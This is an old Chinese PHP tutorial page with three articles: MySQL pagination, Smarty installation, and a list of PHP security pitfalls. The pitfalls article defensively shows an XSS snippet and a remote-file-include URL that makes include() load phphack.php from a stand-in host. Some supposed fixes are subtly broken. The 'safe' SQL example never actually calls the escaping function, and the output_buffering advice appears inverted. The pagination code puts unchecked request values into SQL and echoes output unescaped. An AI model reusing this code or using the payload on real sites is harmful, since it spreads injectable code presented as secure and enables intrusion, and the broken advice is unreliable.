当前位置:  编程技术>php
本页文章导读:
    ▪php5 mysql分页实例代码       代码如下:<?php       //连接数据库       $db=mysql_connect("localhost","root","");       mysql_select_db("hy",$db);       //设定每一页显示的记录数       $pagesize=25;       //取得记录总.........
    ▪Smarty安装配置方法       下载最新的Smarty:http://smarty.php.net/ 当前最新版本:2.6.18 解压后将目录中的libs目录重命名为smarty,复制到你的网站目录,同时在网站根目录下建立templates和templates_c两个目录 建立test.php,内.........
    ▪PHP程序员编程注意事项       1.不转意html entities   一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。 echo $_GET['usename'] ; 这个例子有可能输出: <script>/*更改admin密.........

[1]php5 mysql分页实例代码
    来源: 互联网  发布时间: 2013-11-30

代码如下:

<?php    
  //连接数据库    
  $db=mysql_connect("localhost","root","");    
  mysql_select_db("hy",$db);    
  //设定每一页显示的记录数    
  $pagesize=25;    
  //取得记录总数,计算总页数用    
  $res=mysql_query("select   count(*)   from   main   "   ,$db);    
  $myrow   =   mysql_fetch_array($res);    
  $numrows=$myrow[0];    
  //计算总页数    
  $pages=intval($numrows/$pagesize);    
  if   ($numrows%$pagesize)    
  $pages++;    
  //判断页数设置与否,如无则定义为首页    
  if   (!isset($page))    
  $page=1;    
  //判断转到页数    
  if   (isset($ys))    
  if   ($ys>$pages)    
  $page=$pages;    
  else    
  $page=$ys;    
  //计算记录偏移量    
  $offset=$pagesize*($page-1);    
  //取记录    
  $res=mysql_query("select   id,title   from   main   order   by   id   desc   limit   $offset,$pagesize"   ,$db);    
  //循环显示记录    
  if   ($myrow   =   mysql_fetch_array($res))    
  {    
  $i=0;    
  ?>      
  <table   width="101%"   border="0"   cellspacing="0"   cellpadding="0">    
  <tr>    
  <td   width="5%"   bgcolor="#E1E9FB"></td>    
  <td   width="95%"   bgcolor="#E1E9FB"><font   color="#FF6666"   size="2">内容</font></td>    
  </tr>    
  <?php    
  do   {    
  $i++;    
  ?>    
  <tr>    
  <td   width="5%"   bgcolor="#E6F2FF"><?php   echo   $i;?></td>    
  <td   width="95%"   bgcolor="#E6F2FF"><font   size="2">    
  <a   href="javascript:popwin('view.php?id=<?php   echo   $myrow[0];?>')"   ><?php   echo   $myrow[1];?></a></font></td>    
  </tr>    
  <?php    
  }    
  while   ($myrow   =   mysql_fetch_array($res));    
  echo   "</table>"   ;    
  }    
  //显示总页数    
  echo   "<div   align='center'>共有".$pages."页(".$page."/".$pages.")<br>";    
  //显示分页数    
  for   ($i=1;$i<$page;$i++)    
  echo   "<a   href='/blog_article/fenye/page/.html".$i."'>第".$i   ."页</a>     ";    
  echo   "第".$page."页     ";    
  for   ($i=$page+1;$i<=$pages;$i++)    
  echo   "<a   href='/blog_article/fenye/page/.html".$i."'>第".$i   ."页</a>     ";    

  echo   "<br>";    
  //显示转到页数    
  echo   "<form   action='/blog_article/fenye.html'   method='post'>   ";    
  //计算首页、上一页、下一页、尾页的页数值    
  $first=1;    
  $prev=$page-1;    
  $next=$page+1;    
  $last=$pages;    
  if   ($page>1)    
  {    
  echo   "<a   href='/blog_article/fenye/page/.html".$first."'>首页</a>     ";    
  echo   "<a   href='/blog_article/fenye/page/.html".$prev."'>上一页</a>     ";    
  }    
  if   ($page<$pages)    
  {    
  echo   "<a   href='/blog_article/fenye/page/.html".$next."'>下一页</a>     ";    
  echo   "<a   href='/blog_article/fenye/page/.html".$last."'>尾页</a>     ";    
  }    
  echo   "转到<input   type=text   name='ys'   size='2'   value=".$page.">页";    
  echo   "<input   type=submit   name='Submit'   value='Go'>";    
  echo   "</form>";    
  echo   "</div>";    

  ?>

    
[2]Smarty安装配置方法
    来源: 互联网  发布时间: 2013-11-30
下载最新的Smarty:http://smarty.php.net/
当前最新版本:2.6.18
解压后将目录中的libs目录重命名为smarty,复制到你的网站目录,同时在网站根目录下建立templates和templates_c两个目录
建立test.php,内容如下:
<?php
include_once('./Smarty/Smarty.class.php');$smarty = new Smarty();
$smarty -> template_dir = "./templates"; //模板存放目录
$smarty -> compile_dir = "./templates_c"; //编译目录
$smarty -> left_delimiter = "{{"; //左定界符
$smarty -> right_delimiter = "}}"; //右定界符
$smarty -> assign('test','OK');
$smarty -> display('test.html');
?>
给templates_c权限755

在templates目录下新建test.html:
<html>
<head>
</head>
<body>
{{$test}}
</body>
</html>
打开test.php,如果看到OK就说明你的smarty安装成功了!

    
[3]PHP程序员编程注意事项
    来源: 互联网  发布时间: 2013-11-30
1.不转意html entities 
  一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。 echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法: 
代码如下:

echo htmlspecialchars($_GET['username'], ENT_QUOTES); 


2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:

和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数 正确做法:
代码如下:

<?php 
$sql = "Update users SET 
name='.mysql_real_escape_string($name).' 
Where id='.mysql_real_escape_string ($id).'"; 
mysql_query($sql); 
?> 


3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。

如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off


4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。

例如:
index.php
代码如下:

<? 
//including header, config, database connection, etc 
include($_GET['filename']); 
//including footer 
?> 


现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。 
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。

下面是一个快速但不全面的解决方法:
代码如下:

<? 
//Include only files that are allowed. 
$allowedFiles = array('file1.txt','file2.txt','file3.txt'); 
if(in_array((string)$_GET['filename'],$allowedFiles)) { 
include($_GET['filename']); 

else{ 
exit('not allowed'); 

?> 



5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!

6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。

7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能
PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd() 

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现\'或\'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string

magic quotes on :
It\'s a string
又运行一次
addslashes():
It\\'s a string

HTML输出:
It\'s a string

还有一种情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次!

    
最新技术文章:
▪PHP函数microtime()时间戳的定义与用法
▪PHP单一入口之apache配置内容
▪PHP数组排序方法总结(收藏)
▪php数组排序方法大全(脚本学堂整理奉献)
▪php数组排序的几个函数(附实例)
▪php二维数组排序(实例)
▪php根据键值对二维数组排序的小例子
▪php验证码(附截图)
▪php数组长度的获取方法(三个实例)
▪php获取数组长度的方法举例
▪判断php数组维度(php数组长度)的方法
▪php获取图片的exif信息的示例代码
▪PHP 数组key长度对性能的影响实例分析
▪php函数指定默认值的方法示例
▪php提交表单到当前页面、提交表单后页面重定...
▪php四舍五入的三种实现方法
▪php获得数组长度(元素个数)的方法
▪php日期函数的简单示例代码
▪php数学函数的简单示例代码
▪php字符串函数的简单示例代码
▪php文件下载代码(多浏览器兼容、支持中文文...
▪php实现文件下载、支持中文文件名的示例代码...
▪php文件下载(防止中文文件名乱码)的示例代码
▪解决PHP文件下载时中文文件名乱码的问题
▪php数组去重(一维、二维数组去重)的简单示例
▪php小数点后取两位的三种实现方法
▪php Redis 队列服务的简单示例
▪PHP导出excel时数字变为科学计数的解决方法
▪PHP数组根据值获取Key的简单示例
▪php数组去重的函数代码示例
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3